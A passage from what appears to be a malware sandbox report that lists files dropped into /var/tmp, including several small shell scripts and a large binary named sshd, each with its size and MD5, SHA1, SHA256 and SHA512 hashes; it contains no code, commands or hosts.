                                                                                                      SHA512

                                                                                                      5167a4f2cfac3efb7428705f8b349d7b69f62ff3594c621a3111eb1f5f8fb26e04c02c8ae87d6ac9090260065e0fefb963e84305126dc5b132396a631f8cc8f8

                                                                                                      Download Submit

                                                                                                    • /var/tmp/politrict.sh
                                                                                                      Filesize

                                                                                                      201B

                                                                                                      MD5

                                                                                                      bce9227af9bd25ffa6937bb73739366c

                                                                                                      SHA1

                                                                                                      a5191f835b7e419a05b10020dcafce812927a851

                                                                                                      SHA256

                                                                                                      623e7ad399c10f0025fba333a170887d0107bead29b60b07f5e93d26c9124955

                                                                                                      SHA512

                                                                                                      2432e1da87d06038bdde5fd0e9d46113e4365c913348720e9c22e986ca37988857e969e99cb17b562fbe757c8dc8c02c652e06a0b93535ed7641826072084b1a

                                                                                                      Download Submit

                                                                                                    • /var/tmp/retrict.sh
                                                                                                      Filesize

                                                                                                      754B

                                                                                                      MD5

                                                                                                      3c5e78207f8d379aafaca253de523b4d

                                                                                                      SHA1

                                                                                                      1df83ca30a444077c73f9058033d1c89a1c6fc6f

                                                                                                      SHA256

                                                                                                      9361a4af04108f51720120deb02b4af65ddf76077a91ec7288bc24fe6ebcffa8

                                                                                                      SHA512

                                                                                                      c5c8ba69115f9bc9e80ea84c15132e1794b6d9d22a0f9e6e922970ff53b002238a39d8f4e17b477ff9612f226f3112de3f550bbb823d75c719fe9498131d3feb

                                                                                                      Download Submit

                                                                                                    • /var/tmp/sshd
                                                                                                      Filesize

                                                                                                      6.7MB

                                                                                                      MD5

                                                                                                      50eafe708b0e411d6f5d31ce3ce14ec8

                                                                                                      SHA1

                                                                                                      24e6d617badd100b28061e01b7c3e1bff9266fac

                                                                                                      SHA256

                                                                                                      604b694943267865160c335e10efa0375ff8fc29589326dbf1a3939d321ca5c0

                                                                                                      SHA512

                                                                                                      8e928f15e5124e5722e9554ed480a89c045b2bd34f3607e027a04101f8d375371eedb5651b74c152f5e2e89edbe5ebc1f34de61454096e6a92cbf2fb3b32e741

                                                                                                      Download Submit

                                                                                                    • /var/tmp/truct.sh
                                                                                                      Filesize

                                                                                                      754B

                                                                                                      MD5

                                                                                                      00d7b8d6915e67fa3c1288e36b616b20

                                                                                                      SHA1

                                                                                                      8eb8ef37fe36fef617f1fb613cfe4861942b7556

                                                                                                      SHA256

                                                                                                      945212240921d8e1fa85a8c381ceb4a7e8299c3aefdeb49194a2bedfdf753522

                                                                                                      SHA512

                                                                                                      9655cc64f27dec5616a32aa8509119af3ca0dc1374c02a0e00aa25c6641f6b7e2d48970f8c2dd8a98a590026fccd5a1654a9539f056be855c887d1b64e1e9fff

                                                                                                      Download Submit

                                                                                                    • /var/tmp/unix.sh
                                                                                                      Filesize

                                                                                                      189B

                                                                                                      MD5

                                                                                                      55e75cb054e32f52a306f8c79ca8083b

                                                                                                      SHA1

                                                                                                      1faf6b67cc8ac3e18118413f209e01bb9d821faa

                                                                                                      SHA256

                                                                                                      05727581a43c61c5b71d959d0390d31985d7e3530c998194670a8d60e953e464

                                                                                                      SHA512

                                                                                                      18ddf3497c9cc9b1d8d54bc7876949df31cdf9e250411995003014c0b4ea4b6618c5a7eee7eaf62af4152378d26da476ff82536c334158757dd8168d46e7c2b2

                                                                                                      Download Submit